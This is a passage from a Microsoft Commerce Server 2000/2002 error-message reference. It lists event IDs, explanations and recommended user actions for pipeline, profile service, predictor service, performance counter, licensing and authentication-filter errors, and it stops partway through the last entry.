Call to CoCreateInstance(CLSID_StdGlobalInterfaceTable) failed. CS40 pipelines require NT4SP3 or greater.

Error ID | 0xC100100C
Message ID | MSG_GITNOTAVAILABLE
Component | Pipelines
Explanation | The software requires a feature that is only present in Windows 2000 and later.
User Action | Verify that your software is running on a Windows 2000 Server or later operating system.

Failed to register COM+ application <application name>. HRESULT <Hresult code>.

Error ID | 0xC100100D
Message ID | MSG_PIPEREG_REGISTER_APPLICATION_FAILED
Component | Setup and Pipeline.dll Self-registration
Explanation | An attempt to create a COM+ application failed.
User Action | See the specific HRESULT code to identify the cause of the failure. You may need to remove old versions of the COM+ application.

Failed to register COM+ component <component name>. HRESULT <Hresult code>.

Error ID | 0xC100100E
Message ID | MSG_PIPEREG_REGISTER_COMPONENT_FAILED
Component | Setup and Pipeline.dll Self-registration
Explanation | An attempt to register a COM+ component failed.
User Action | See the specific HRESULT code to identify the cause of the failure. You may need to remove old versions of the COM+ application.

Failed to unregister COM+ application <application name>. HRESULT <Hresult code>.

Error ID | 0xC100100F
Message ID | MSG_PIPEREG_UNREGISTER_APPLICATION_FAILED
Component | Setup and Pipeline.dll Self-registration
Explanation | An attempt to delete a COM+ application failed.
User Action | See the specific HRESULT code to identify the cause of the failure. You may need to manually remove the COM+ application using the Component Services MMC tool.

Commerce Server 2000 perf counter exceeds 2000 limit.

Error ID | 0xC1001010
Message ID | MSG_PERFCOUNTER_EXCEEDMAX
Component | Commerce Server Performance Counters
Explanation | The maximum number of instances of pipeline components and pipeline objects has been reached. No further instances may be reported for performance monitoring.
User Action | This is an informational message; no action is necessary.

The CacheManager encountered an error during a refresh of the cache: <cache name>.

Error ID | 0xC1002000
Message ID | MSG_CACHEMANAGER_REFRESH
Component | CacheManager
Explanation | An error occurred during a cache refresh. The details of the error are logged along with this message.
User Action | The recommended action depends on the cache file location shown in the error message.

Commerce.WriteEvents: no performance dictionary found.

Error ID | 0x81002001
Message ID | MSG_WRITEEVENTS_NO_PERFORMANCE_DICTIONARY
Component | CSFWriteEvents
Explanation | The CSFWriteEvents component logs information from the Performance dictionary in the cache. If that dictionary is not found in the cache, this error is returned.
User Action | Configure the CSFWriteEvents component for the cache only if the CSFRecordHistory component is being used.

Commerce.CSFLoadAdvertisements: no active advertisements were returned from the query. Consider scheduling house ads to avoid this message.

Error ID | 0x81002003
Message ID | MSG_LOADADVERTISEMENTS_NO_ADS
Component | CSFLoadAdvertisements
Explanation | The CSFLoadAdvertisements component was invoked to populate the cache of ads, but no advertisements were returned from the query. It is possible that there are no advertisements configured, the advertisements have expired or not yet begun, or the advertisements, the customer, or the campaign containers have a status of archived or inactive. This message is only loaded during the first cache refresh cycle after the site start-up.
User Action | No action is required. When you schedule house ads, this message no longer appears.

Commerce List Manager Error: <Event Log error number>.

Error ID | 0xC1002004
Message ID | MSG_LISTMANAGER_ERROR
Component | List Manager
Explanation | The List Manager logs all errors it encounters to the Event Log using this message.
User Action | The recommended action depends on the Event Log error information and the API.

Marketing DTS: Unable to bind to the Commerce OLEDB Provider with the following URL : <URL name>

Error ID | 0xC1002005
Message ID | MSG_MKTGDTS_BIND_FAILED
Component | Marketing DTS Task
Explanation | The Commerce OLEDB Provider may not be installed.
User Action | Verify that the Commerce Server Data Warehouse is properly installed.

Set columns for class <class name> failed.

Error ID | 0xC100200A
Message ID | MSG_MKTGDTS_E_SET_COLUMNS
Component | Commerce OLE DB Provider
Explanation | The set columns for class operation failed.
User Action | Check the Event Log message information for more details about the recommended action.

Marketing DTS Import Successfully completed

Error ID | 0xC100200B
Message ID | MSG_MKTGDTS_I_IMPORT_SUCCEDDED
Component | Marketing DTS Task
Explanation | The Campaign Data Import completed successfully.
User Action | N/A

List Manager Service Control Notification: <event name>

Error ID | 0x8100200C
Message ID | MSG_LISTMANAGER_SERVICE_CTL
Component | List Manager
Explanation | The List Manager received a service control event such as a start or stop event.
User Action | N/A

Warning: A ContentList object is being saved as XML or loaded from XML. This is an unsupported and expensive operation. Please see the Commerce Server 2000 Support Knowledgebase for more details.

Error ID | 0x8100200D
Message ID | MSG_CONTENTLIST_PERSISTXML_UNSUPPORTED
Component | List Manager
Explanation | A ContentList or ContentListFactory object is being saved as XML or loaded from XML using the IPersistXML Interface. Most commonly this is the _discounts list that was created by the OrderDiscount component. This operation is highly CPU and memory-intensive and is not supported for production servers.
User Action | Ensure that each OrderGroup object that is persisted to the orders or baskets database does not contain any ContentList or ContentListFactory objects. If it does, remove it from the OrderGroup by setting the value to NULL before persisting the OrderGroup.


OLE DB Provider Error Messages

Invalid operator <operator name> encountered.

Error ID | 0xC1003C00
Message ID | E_MSCOP_AGLAYER_INVALIDOPERATOR
Component | Profile Service Aggregation Layer
Explanation | The user-specified query is using a data type that is unsupported or is not valid.
User Action | Check the query for operators that are not valid.

Invalid data type <data type name> encountered.

Error ID | 0xC1003C01
Message ID | E_MSCOP_AGLAYER_INVALIDDATATYPE
Component | Profile Service Aggregation Layer
Explanation | The user specified query is using a data type that is unsupported or is not valid.
User Action | Check the query to make certain all data types are valid.

Error <error code number> encountered from DSO provider.

Error ID | 0xC1003C03
Message ID | E_MSCOP_AGLAYER_GENERICDSOERROR
Component | Profile Service Aggregation Layer
Explanation | This is a generic error message. More information about the error can be found in the trace logs.
User Action | Use the trace logs to find out more details about the error.

Internal error <error code number> encountered at the aggregation layer.

Error ID | 0xC1003C04
Message ID | E_MSCOP_AGLAYER_INTERNALERROR
Component | Profile Service Aggregation Layer
Explanation | This is a generic error message. More information about the error can be found in the trace logs.
User Action | Use the trace logs to find out more details about the error.

Invalid source type <source type code name> encountered.

Error ID | 0xC1003C05
Message ID | E_MSCOP_AGLAYER_INVALIDSOURCETYPE
Component | Profile Service Aggregation Layer
Explanation | The aggregation component supports LDAP (8) and OLEDB-ANSI (16) data source types. Any other source types are not valid.
User Action | Check the sourcedef table in the profile definition store to see if an invalid source type has been used.

Invalid query operation.

Error ID | 0xC1003C06
Message ID | E_MSCOP_AGLAYER_INVALIDDSOOPTYPE
Component | Profile Service Aggregation Layer
Explanation | The query operation specified is not valid. The operation must be SELECT, INSERT, UPDATE or DELETE. This error is unlikely to arise because the query syntax parsing code would detect the invalid operation before it is read by the aggregation layer.
User Action | N/A

Ran out of stack space.

Error ID | 0xC1003C07
Message ID | E_MSCOP_AGLAYER_OUTOFSTACK
Component | Profile Service Aggregation Layer
Explanation | Stack allocation failed during the current operation. Your process may be running low on memory.
User Action | Restart the process and check the available memory on your server.

Invalid class definition <class definition name> encountered.

Error ID | 0xC1003C08
Message ID | E_MSCOP_AGLAYER_INVALIDCLASSDEFINITION
Component | Profile Service Aggregation Layer
Explanation | The profile definition is incorrect.
User Action | Correct the profile definition that caused this error.

Invalid query type <query type name> encountered.

Error ID | 0xC1003C09
Message ID | E_MSCOP_AGLAYER_INVALIDQUERYTYPE
Component | Profile Service Aggregation Layer
Explanation | An invalid query operation was specified. This error is unlikely to arise because the query syntax parsing code would detect the invalid operation before it is read by the aggregation layer.
User Action | N/A

Encountered an error in catalog data structures.

Error ID | 0xC1003C0B
Message ID | E_MSCOP_AGLAYER_INTERNALCATALOGERROR
Component | Profile Service Aggregation Layer
Explanation | This is a generic error message. More information about the error can be found in the trace logs.
User Action | Use the trace logs to find out more details about the error.

Encountered invalid query.

Error ID | 0xC1003C0C
Message ID | E_MSCOP_AGLAYER_INVALIDQUERY
Component | Profile Service Aggregation Layer
Explanation | This is a generic error message. More information about the error can be found in the trace logs.
User Action | Use the trace logs to find out more details about the error.

Invalid table name specified for <source name> source.

Error ID | 0xC1003C0D
Message ID | E_MSCOP_AGLAYER_BAD_TABLE_NAME
Component | Profile Service Aggregation Layer
Explanation | This error is due to a bad profile definition configuration. Each persistent profile definition class is backed by a SQL table or a Lightweight Directory Access Protocol (LDAP) class. This error occurred because the backing table or class is missing.
User Action | Check the configuration of the profile definition that resulted in this error.

Exceeded maximum number of partitions allowed.

Error ID | 0xC1003C0E
Message ID | E_MSCOP_EXCEEDED_MAXPARTITIONCOUNT
Component | Profile Service Directory Component and ANSI-SQL Component
Explanation | The profile service component supports up to 128 partitions for each data store. If the number of partitions exceeds that, an error is returned.
User Action | Check that the number of partitions is not greater than 128.

The object already exists.

Error ID | 0xC1003C0F
Message ID | E_MSCOP_OBJ_ALREADY_EXISTS
Component | Profile Service Directory Component and ANSI-SQL component
Explanation | The profile object that is being persisted already exists in the data store.
User Action | Verify that the calling code is performing a legitimate operation. For example, try to create a profile object that already exists.

Internal error <error code number> encountered in directory provider.

Error ID | 0xC1003E80
Message ID | E_MSCOP_MSCSDP_INTERNALERROR
Component | Profile Service Directory Component
Explanation | This is a generic error message. More information about the error can be found in the trace logs.
User Action | Use the trace logs to find out more details about the error.

Generic ADSI error <error code number>.

Error ID | 0xC1003E81
Message ID | E_MSCOP_MSCSDP_GENERICADSIERROR
Component | Profile Service Directory Component
Explanation | This is a generic error message. More information about the error can be found in the trace logs.
User Action | Use the trace logs to find out more details about the error.

Ran out of stack space.

Error ID | 0xC1003E82
Message ID | E_MSCOP_MSCSDP_OUTOFSTACK
Component | Profile Service Directory
Explanation | Stack allocation failed during the current operation. Your process may be running low on memory.
User Action | Restart the process and check the available memory on your server.

There is no such object on the server.

Error ID | 0xC1003E83
Message ID | E_MSCOP_MSCSDP_NOSUCHOBJECT
Component | Profile Service Directory Component
Explanation | The profile object being searched for does not exist in the directory store.
User Action | Verify that the search criterion used in the query is correct. If you are performing a profile service operation, verify that the key value is correct.

Bad password encountered.

Error ID | 0xC1003E84
Message ID | E_MSCOP_MSCSDP_BADPASSWORD
Component | Profile Service Directory Component
Explanation | The directory provider failed to set the password in the data store.
User Action | Verify that the password conforms to the password restriction policy of the directory store.

Missing RDN attribute value.

Error ID | 0xC1003E85
Message ID | E_MSCOP_MSCSDP_MISSING_RDN_ATTRIBUTE
Component | Profile Service Directory Component
Explanation | The relative distinguished name (RDN) attribute is required when you create a profile object in the directory store. Exactly one member should be marked with the RDN attribute and its value should be the RDN of the profile object instance being created.
User Action | Verify the profile configuration for the profile definition that returned the error.

Invalid data type <data type name> encountered in directory component.

Error ID | 0xC1003E87
Message ID | E_MSCOP_MSCSDP_INVALIDDATATYPE
Component | Profile Service Directory Component
Explanation | The user-specified query is using a data type that is invalid or is not supported. .
User Action | Check the query to make certain all data types are valid.

Invalid number of values specified for password property.

Error ID | 0xC1003F88
Message ID | E_MSCOP_MSCSDP_INVALID_PASSWORD_VALUES
Component | Profile Service Directory Component
Explanation | The password field in Active Directory is a multi-valued property with a maximum of two values. This enables users to change passwords.
User Action | Verify that no more than two values are being passed for the password field.

Value missing for a required key member.

Error ID | 0xC1003F89
Message ID | E_MSCOP_MSCSDP_MISSING_KEY_VALUE
Component | Profile Service Directory Component
Explanation | This error is unlikely to arise because the existence of key values is verified in the profile service component before they are read by the directory component.
User Action | None.

Internal error occurred in 3rd party provider.

Error ID | 0xC1003F80
Message ID | E_MSCOP_MSCSDB3_INTERNALERROR
Component | Profile Service ANSI-SQL component
Explanation | This is a generic error message. More information about the error can be found in the trace logs.
User Action | Use the trace logs to find out more details about the error.

Invalid datatype encountered in 3rd party provider.

Error ID | 0xC1003F81
Message ID | E_MSCOP_MSCSDB3_INVALIDDATATYPE
Component | Profile Service ANSI-SQL Component
Explanation | This is a generic error message. More information about the error can be found in the trace logs.
User Action | Use the trace logs to find out more details about the error.

Invalid operation encountered in 3rd party provider.

Error ID | 0xC1003F82
Message ID | E_MSCOP_MSCSDB3_INVALIDOPERATION
Component | Profile Service ANSI-SQL Component
Explanation | The query operation used is not a valid operation. The operation must be SELECT, INSERT, UPDATE or DELETE.
User Action | None.


Predictor Service and Component Error Messages

Predictor Service: Only found <number of cases> cases when building model from configuration <model configuration name>. At least <number of cases> cases are recommended.

Error ID | 0x81006001
Message ID | MSG_PREDSVC_TOO_FEW_CASES
Component | Predictor Service
Explanation | Not enough cases were found to build a model for this model configuration.
User Action | You should collect more case data before building a model.

Predictor Service: Model <model name> already exists. Build not started.

Error ID | 0xC1006002
Message ID | MSG_PREDSVC_MODELEXISTS
Component | Predictor Service
Explanation | A model with the same name already exists.
User Action | Rename the model and start the build again.

Predictor Service Stopped.

Error ID | 0x41006004
Message ID | MSG_PREDSVC_SERVICESTOPPED
Component | Predictor Service
Explanation | Predictor Service has stopped.
User Action | Restart the Predictor Service if necessary.

Predictor Service Started.

Error ID | 0x41006005
Message ID | MSG_PREDSVC_SERVICESTARTED
Component | Predictor Service
Explanation | Predictor Service started.
User Action | This is an informational message; no action is necessary.

Predictor Service: Bad Service Request.

Error ID | 0x41006006
Message ID | MSG_PREDSVC_BADREQUEST
Component | Predictor Service
Explanation | The Predictor Service received an unrecognizable command.
User Action | Restart the Predictor Service.

Predictor Service: Started build of model <model name> using model configuration <name of model configuration>.

Error ID | 0x41006007
Message ID | MSG_PREDSVC_BUILDSTARTED
Component | Predictor Service
Explanation | The Predictor Service has begun to build a model using the corresponding model configuration.
User Action | This is an informational message; no action is necessary.

Predictor Service: Error occurred while building model from config file <model configuration name>

Error ID | 0xC1006008
Message ID | MSG_PREDSVC_CREATEMODELERROR
Component | Predictor Service
Explanation | The Predictor Service failed to build the model.
User Action | Verify that the model configuration settings and the data used to build the model are correct, and then rebuild the model.

Predictor Service: Error deleting model <model configuration name>

Error ID | 0xC100600E
Message ID | MSG_PREDSVC_DELETE_MODEL_FAILED
Component | Predictor Service
Explanation | An error occurred while the model was deleted.
User Action | Verify that the model configuration settings and the data used to build the model are correct, and then try to delete the model again.

Predictor Service: Error renaming model <original model name> to <new model name>

Error ID | 0xC100600F
Message ID | MSG_PREDSVC_RENAME_MODEL_FAILED
Component | Predictor Service
Explanation | An error occurred while the model was being renamed.
User Action | Verify that the model configuration settings and the data used to build the model are correct, and then try to delete the model again.

Predictor Service: Error deleting model configuration <model configuration name>.

Error ID | 0xC1006010
Message ID | MSG_PREDSVC_DELETE_MODEL_CONFIG_FAILED
Component | Predictor Service
Explanation | An error occurred while the model configuration was being deleted.
User Action | If one or more models refer to the original model configuration, delete those models before you delete the original model configuration.

Predictor Service: Error renaming model configuration <original model configuration name> to <new model configuration name>.

Error ID | 0xC1006011
Message ID | MSG_PREDSVC_RENAME_MODEL_CONFIG_FAILED
Component | Predictor Service
Explanation | An error occurred while renaming the model configuration.
User Action | Verify that the model configuration settings and the data used to build the model are correct, and then try to rename the model again.

Predictor Service: Model <model name> was deleted.

Error ID | 0x41006012
Message ID | MSG_PREDSVC_MODEL_DELETED
Component | Predictor Service
Explanation | The model was deleted successfully.
User Action | This is an informational message; no action is necessary.

Predictor Service: Model <model name> was renamed to <new model name>.

Error ID | 0x41006013
Message ID | MSG_PREDSVC_MODEL_RENAMED
Component | Predictor Service
Explanation | Your model was renamed successfully.
User Action | This is an informational message; no action is necessary.

Predictor Service: Model configuration <model configuration name> was deleted.

Error ID | 0x41006014
Message ID | MSG_PREDSVC_MODEL_CONFIG_DELETED
Component | Predictor Service
Explanation | Your model configuration was deleted successfully.
User Action | This is an informational message; no action is necessary.

Predictor Service: Model configuration <model configuration name> was renamed to <new model configuration name>.

Error ID | 0x41006015
Message ID | MSG_PREDSVC_MODEL_CONFIG_RENAMED
Component | Predictor Service
Explanation | The model configuration has been renamed successfully.
User Action | This is an informational message; no action is necessary.


Performance Counters and Other Component Error Messages

CSPerfCounters Component : Failed to initialize security attributes.

Error ID | 0xC1007000
Message ID | E_PERF_FAILED_SECURITY_ATTR
Component | Commerce Server Performance Counters
Explanation | The system failed to create the security attributes for the kernel objects.
User Action | The WIN32 API failed. Contact Microsoft Product Support Services for more information.

CSPerfCounters Component : Failed to create - <object name>

Error ID | 0xC1007001
Message ID | E_PERF_FAILED_FAILED_CREATE
Component | Commerce Server Performance Counters
Explanation | The system failed to create the file-mapping object.
User Action | Verify that there is sufficient disk space on your server.

CSPerfCounters Component : Error reading ini file - <.INI file names>

Error ID | 0xC1007002
Message ID | E_PERF_READING_INI
Component | Commerce Server Performance Counters
Explanation Commerce Server failed to read the .INI files.

Caution

  • The read permission for performance counters is set to "everyone." This is not appropriate. The permissions on this file should be set ONLY for the user class that is allowed access to the components that use the performance counters. In most deployments, this includes the IUSR, Web users, and system administrators -- not everyone.
User Action Verify that the following .INI files exist:
{L"CSDWPerfDef.ini"},
{L"CSUPMPerfDef.ini"},
{L"CSMarketingPerfDef.ini"},
{L"CSCustomPerfDef.ini"},
{L"CSPerfCountersDef.ini"}

CSPerfCounters Component : Error - <Event Log error code number>

Error ID | 0xC1007004
Message ID | E_PERF_GENERIC_ERROR
Component | Commerce Server Performance Counters
Explanation | This is a generic error message. More information about the error can be found in the trace logs.
User Action | Use the trace logs to find out more details about the error.

The evaluation period for Commerce Server 2002 has ended. Contact Microsoft to obtain a licensed version of Commerce Server 2002.

Error ID | 0xC1008000
Message ID | MSG_TIMEBOMB_EXPIRED
Component | Commerce Server
Explanation | Commerce Server will not run correctly after the evaluation period has ended.
User Action | Contact Microsoft Product Support Services to obtain a licensed version of Commerce Server 2002.

The evaluation period for BizTalk Server 2002 has ended. Contact Microsoft to obtain a licensed version of BizTalk Server 2002.

Error ID | 0xC1008001
Message ID | MSG_CIS_TIMEBOMB_EXPIRED
Component | BizTalk Server
Explanation | BizTalk Server will not run correctly after the evaluation period has ended.
User Action | Contact Microsoft Product Support Services to obtain a licensed version of BizTalk Server.

The evaluation period for this product has ended. Contact Microsoft to obtain a licensed version of this product.

Error ID | 0xC1008002
Message ID | MSG_GENERIC_TIMEBOMB_EXPIRED
Component | Commerce Server
Explanation | Commerce Server will not run correctly after the evaluation period has ended.
User Action | Contact Microsoft Product Support ServicesContact Microsoft to obtain a licensed version of Commerce Server 2002.

The evaluation period for Commerce Server 2002 will expire within ten days. Contact Microsoft to obtain a licensed version of Commerce Server 2002.

Error ID | 0x81008003
Message ID | MSG_TIMEBOMB_DOOMED
Component | Commerce Server
Explanation | Your evaluation period for Commerce Server will end in ten days. Commerce Server will not run correctly after the evaluation period has ended.
User Action | Contact Microsoft Product Support Servicesto obtain a licensed version of Commerce Server 2002.

This installation of Commerce Server 2002 has an invalid Product Key. Please contact Microsoft for a licensed copy of Commerce Server 2002.

Error ID | 0xC1008004
Message ID | MSG_INVALID_PID
Component | Commerce Server
Explanation | The product key you have entered is not valid.
User Action | If you have a product key that was included as part of your Commerce Server software, try entering it again. If the product key still does not work, contact Microsoft Product Support Services to obtain a licensed version of Commerce Server 2002.

The evaluation period for BizTalk Server 2002 will expire within ten days. Contact Microsoft to obtain a licensed version of BizTalk Server 2002.

Error ID | 0x81008010
Message ID | MSG_CIS_TIMEBOMB_DOOMED
Component | BizTalk Server
Explanation | Your evaluation period for BizTalk Server will end in ten days. BizTalk Server will not run correctly after the evaluation period has ended.
User Action | Contact Microsoft Product Support Services to obtain a licensed version of BizTalk Server 2002.


Site Configuration and Component Error Messages

Error in Commerce Administration Object : Description <failure description>.

Error ID | 0xC1009005
Message ID | MSG_CS2KSITEADMIN_ERROR
Component | SiteConfig Admin
Explanation | This is a generic message that is logged when a failure occurs in an administration object. The description contains information about the failure.
User Action | Use the trace logs to find out more details about the error.


Profiling System Error Messages

An internal error occurred in Profile Service component.

Error ID | 0xC1004000
Message ID | E_PS_INTERNAL_ERROR
Component | Commerce Profile Service
Explanation | This is a generic error message. More information about the error can be found in the trace logs.
User Action | Use the trace logs to find out more details about the error.

Invalid operation performed on Profile Service component.

Error ID | 0xC1004002
Message ID | E_PS_INVALID_OPERATION
Component | Commerce Profile Service
Explanation | This is a generic error message. More information about the error can be found in the trace logs.
User Action | Use the trace logs to find out more details about the error.

The current operation has been performed on a deleted object, and therefore cannot be completed. Please release handle to this deleted object.

Error ID | 0xC1004003
Message ID | E_PS_OBJ_IS_DELETED
Component | Commerce Profile Service
Explanation | The object for which the current operation failed was deleted, possibly by another thread.
User Action | You must release the profile object being held by the application.

The current operation has been performed using an invalid profile type.

Error ID | 0xC1004004
Message ID | E_PS_INVALID_PROFILE_TYPE
Component | Commerce Profile Service
Explanation | The profile type passed by the current operation is not valid. It does not exist in the definition store.
User Action | Verify that the parameter being passed is correct, or verify that the profile exists in the profile definition store.

Cannot update the value for this property as it is a Join Key property.

Error ID | 0xC1004005
Message ID | E_PS_CANNOT_MODIFY_JOIN_KEY_PROPERTY
Component | Commerce Profile Service
Explanation | A user cannot modify the join key value.
User Action | Make sure that you have not inadvertently updated a join key property.

Cannot reinitialize Profile Service object.

Error ID | 0xC1004006
Message ID | E_PS_PROFILESERVICE_ALREADY_INITIALIZED
Component | Commerce Profile Service
Explanation | You cannot call the initialize method more than once on an instance of the profile service.
User Action | Release the current instance to call the initialize method again.

Member not found.

Error ID | 0xC1004007
Message ID | E_PS_PROPERTY_NOT_FOUND
Component | Commerce Profile Service
Explanation | The property does not exist. It is either not defined, or you have specified an incorrect name.
User Action | Verify that the property you are using exists in the profile definition store.

Bad connection string has been supplied to Profile Service object.

Error ID | 0xC1004008
Message ID | E_PS_BAD_CONNECTION_STRING
Component | Commerce Profile Service
Explanation | The connection string supplied to the initialize method does not conform to the format specified for the Profile Service.
User Action | For more information, see Profile Property Attributes [L2] in Commerce Server 2002 Help.

Invalid profile definition.

Error ID | Not available.
Message ID | E_PS_INVALID_PROFILE_DEFINITION
Component | Commerce Profile Service
Explanation | This is a generic error message. More information about the error can be found in the trace logs.
User Action | Use the trace logs to find out more details about the error.

Ran out of stack space in Profile Service component.

Error ID | 0xC100400A
Message ID | E_PS_OUT_OF_STACKSPACE
Component | Commerce Profile Service
Explanation | Stack allocation failed during the current operation because the process ran low on memory.
User Action | Verify that you have sufficient memory and then restart the process.

Profile object already exists.

Error ID | 0xC100400B
Message ID | E_PS_OBJ_ALREADY_EXISTS
Component | Commerce Profile Service
Explanation | The current operation failed because the profile object was already present in the database.
User Action | Verify that the profile object you want to create does not already exist.

Profile object not found. Please check key member name and member value and try again.

Error ID | 0xC100400C
Message ID | E_PS_OBJECT_NOT_FOUND
Component | Commerce Profile Service
Explanation | The profile object does not exist.
User Action | Verify that the key member name and member value of the profile object you want to create are correct, and then try again.

Profile Service object is not initialized.

Error ID | 0xC100400D
Message ID | E_PS_PROFILESERVICE_NOT_INITIALIZED
Component | Commerce Profile Service
Explanation | If you call any of the Profile Service methods before you initialize the Profile Service, an error results.
User Action | You must initialize the Profile Service before you call any Profile Service methods.

The profile definitions catalog name supplied to Profile Service initialization method is invalid.

Error ID | 0xC100400E
Message ID | E_PS_BAD_PROFILE_DEFINITION_CATALOG_NAME
Component | Commerce Profile Service
Explanation | The catalog name is not valid.
User Action | Verify that the catalog name you used to initialize the Profile Service is correct.

A multi-valued property on a profile definition cannot be marked as key.

Error ID | 0xC100400F
Message ID | E_PS_MVKEY_NOT_SUPPORTED
Component | Commerce Profile Service
Explanation | The multi-valued property is not valid.
User Action | Verify that none of the multi-valued properties in the profile are marked as key.

An invalid value has been specified for key member.

Error ID | 0xC1004010
Message ID | E_PS_INVALID_KEY_MEMBER_VALUE
Component | Commerce Profile Service
Explanation | This is a generic error message. More information about the error can be found in the trace logs.
User Action | Use the trace logs to find out more details about the error.

A recoverable race condition was encountered in profile object cache. Please try your call again.

Error ID | 0xC1004011
Message ID | E_PS_PROFILE_OBJECT_CACHE_RACE_CONDITION
Component | Commerce Profile Service
Explanation | Two or more threads have attempted to load the same profile object into the cache simultaneously..
User Action Use the trace logs to find out more details about the error.

Note

  • This error has been fixed in Commerce Server 2000 Service Pack 2. If you have installed Commerce Server 2000 Service Pack 2 or a later edition, you will not see this error.

The profile object cache has become full. Please release dirty entries, and try your operation again. If problems persist, then please review profile service documentation.

Error ID | 0xC1004012
Message ID | E_PS_PROFILE_OBJECT_CACHE_FULL
Component | Commerce Profile Service
Explanation | The profile object cache is full. This results from a programming error in which the application is holding on to multiple profile object instances and is not releasing them.
User Action | Check the calling program to determine why the profile objects are not being released.

UPM-AUTH: Error: Requested property does not exist on AuthTicket.

Error ID | 0xC1004C00
Message ID | MSG_UPM_AUTH_PROPNOTFOUND_ERROR
Component | AuthManager
Explanation | The Requested property does not exist on AuthTicket.
User Action | Make sure the property is in the ticket, and then try using the property again.

UPM-AUTH: Warning: Authticket not set.

Error ID | 0x81004C04
Message ID | MSG_UPM_AUTH_AUTHTICKET_UNAVAILABLE_WARNING
Component | AuthManager
Explanation | The specified ticket is not available.
User Action | Verify that the ticket exists either in the cookies collection or is part of the query string of the incoming request.

UPM-AUTH: Error: while setting the cookie for registered user.

Error ID | 0xC1004C09
Message ID | MSG_UPM_AUTH_SETTING_AUTHCOOKIE_ERROR
Component | AuthManager
Explanation | An error occurred during the process of setting the Authticket in the cookies collection.
User Action | Perform a Network Monitor trace to view the cookie header for the incoming request, as well as for the outgoing response, to determine the contents of the cookie.

UPM-AUTH: Error: while setting the cookie for anonymous user.

Error ID | 0xC1004C0A
Message ID | MSG_UPM_AUTH_SETTING_ANONCOOKIE_ERROR
Component | AuthManager
Explanation | An error occurred during the process of setting the profile ticket in the cookies collection.
User Action | Perform a Network Monitor trace to view the cookie header for the incoming request, as well as for the outgoing response, to determine the contents of the cookie.

UPM-AUTH: Error: while getting the query string for authenticated user.

Error ID | 0xC1004C0E
Message ID | MSG_UPM_AUTH_GETTING_AUTHQS_ERROR
Component | AuthManager
Explanation | An error occurred during the process of trying to retrieve the query string for an incoming request.
User Action | Perform a Network Monitor trace to view the cookie header for the incoming request, as well as for the outgoing response, to determine the contents of the cookie

UPM-AUTH: Error: while unpacking the Ticket data.

Error ID | 0xC1004C0F
Message ID | MSG_UPM_AUTH_UNPACK_TICKET_ERROR
Component | AuthManager
Explanation | An error occurred while trying to parse the ticket data.
User Action | Verify that the incoming ticket is valid and then try unpacking again.

UPM-AUTH: Error: need to Initialize with installed Sitename.

Error ID | 0xC1004C10
Message ID | MSG_UPM_AUTH_SITE_NEEDED_ERROR
Component | AuthManager
Explanation | The Initialize function was not called with a valid site name.
User Action | Ensure that you use a valid site name to initialize the site.

UPM-AUTHFILTER: SiteName is Empty.

Error ID | 0xC1004C14
Message ID | E_UPM_AUTHFILTER_SITENAME_IS_EMPTY
Component | AuthFilter
Explanation | The specified site name is an empty string.
User Action | Ensure that you have entered a valid site name.

UPM-AUTHFILTER: EncryptionKey cannot be null/empty, if encryption is enabled.

Error ID | 0xC1004C15
Message ID | E_UPM_AUTHFILTER_ENCRYPTIONKEY_NULL
Component | AuthFilter
Explanation | The encryption key in the administration database is null.
User Action | Ensure that the authentication resource has a valid encryption key.

UPM-AUTHFILTER: Unable to insert new entry into the siteconfig cache.

Error ID | 0xC1004C16
Message ID | E_UPM_AUTHFILTER_INSERT_SITECONFIG_CACHE
Component | AuthFilter
Explanation | The AuthFilter was unable to insert a new entry in the SiteConfig cache.
User Action | Verify that your server has sufficient memory. Also, check to see if you have a very large number of authentication resources; reduce the number of resources if you have too many.

UPM-AUTHFILTER: Unable to find siteconfig-entry in the siteconfig cache.

Error ID | 0xC1004C17
Message ID | E_UPM_AUTHFILTER_SITECONFIG_NOTFOUND
Component | AuthFilter
Explanation | The AuthFilter cannot find a SiteConfig entry in the SiteConfig cache.
User Action | Verify that you have sufficient memory on your server.

UPM-AUTHFILTER: Unable to encrypt ticket.

Error ID | 0xC1004C18
Message ID | E_UPM_AUTHFILTER_ENCRYPTION_FAILED
Component | AuthFilter
Explanation | Commerce Server was unable to encrypt the ticket.
User Action | Ensure that the ticket data is valid.

UPM-AUTHFILTER: Unable to format ticket data.

Error ID | 0xC1004C1A
Message ID | E_UPM_AUTHFILTER_FORMAT_TICKET_FAILED
Component | AuthFilter
Explanation | AuthFilter was unable to format the ticket data.
User Action | Ensure that the ticket data is valid.

UPM-AUTHFILTER: Sending redirect (HTTP: 302) failed.

Error ID | 0xC1004C1B
Message ID | E_UPM_AUTHFILTER_REDIRECT_FAILED
Component | AuthFilter
Explanation | An error occurred while trying to redirect the current request.
User Action | Check the Event Log errors for any log entries relating to IIS. You should also perform a Network Monitor trace to verify that the request/response traffic is correct.

UPM-AUTHFILTER: Setting cookie failed.

Error ID | 0xC1004C1C
Message ID | E_UPM_AUTHFILTER_SET_COOKIE_FAILED
Component | AuthFilter
Explanation | An error occurred during the process of setting the ticket in the response header.
User Action | Check the Event Log errors for any log entries relating to IIS. You should also perform a Network Monitor trace to verify that the request/response traffic is correct and to determine the contents of the cookie.

UPM-AUTHFILTER: Generating password-key failed.

Error ID | 0xC1004C1D
Message ID | E_UPM_AUTHFILTER_GENERATE_PASSWORDKEY_FAILED
Component | AuthFilter
Explanation | An error occurred during the process of generating the password-key.
User Action | Reinitialize AuthFilter by restarting IIS.

UPM-AUTHFILTER: URL-Decoding failed.

Error ID | 0xC1004C1E
Message ID | E_UPM_AUTHFILTER_URLDECODE_FAILED
Component | AuthFilter
Explanation | The URL decode of the user ID or password failed.
User Action | Verify that the User ID and password are valid.

UPM-AUTHFILTER: Password-Cache search failed or entry not found.

Error ID | 0xC1004C1F
Message ID | E_UPM_AUTHFILTER_NOENTRY_IN_PASSWORDCACHE
Component | AuthFilter
Explanation | AuthFilter was not able to find an entry for the password-Cache.
User Action | Verify that the entry for which you are searching exists.

UPM-AUTHFILTER: Parsing querystring failed.

Error ID | 0xC1004C20
Message ID | E_UPM_AUTHFILTER_PARSE_QUERYSTRING_FAILED
Component | AuthFilter
Explanation | The parsing query string failed.
User Action | Verify that the query string is in a valid format.

UPM-AUTHFILTER: Cache-Cleanup-thread failed.

Error ID | 0xC1004C21
Message ID | E_UPM_AUTHFILTER_CACHE_CLEANUP_THREAD_FAILED
Component | AuthFilter
Explanation | An error occurred during the process of creating a wait timer for the clean-up thread.
User Action | Reinitialize the AuthFilter by restarting IIS.

UPM-AUTH: Failure in AuthFilter.

Error ID | 0xC1004C22
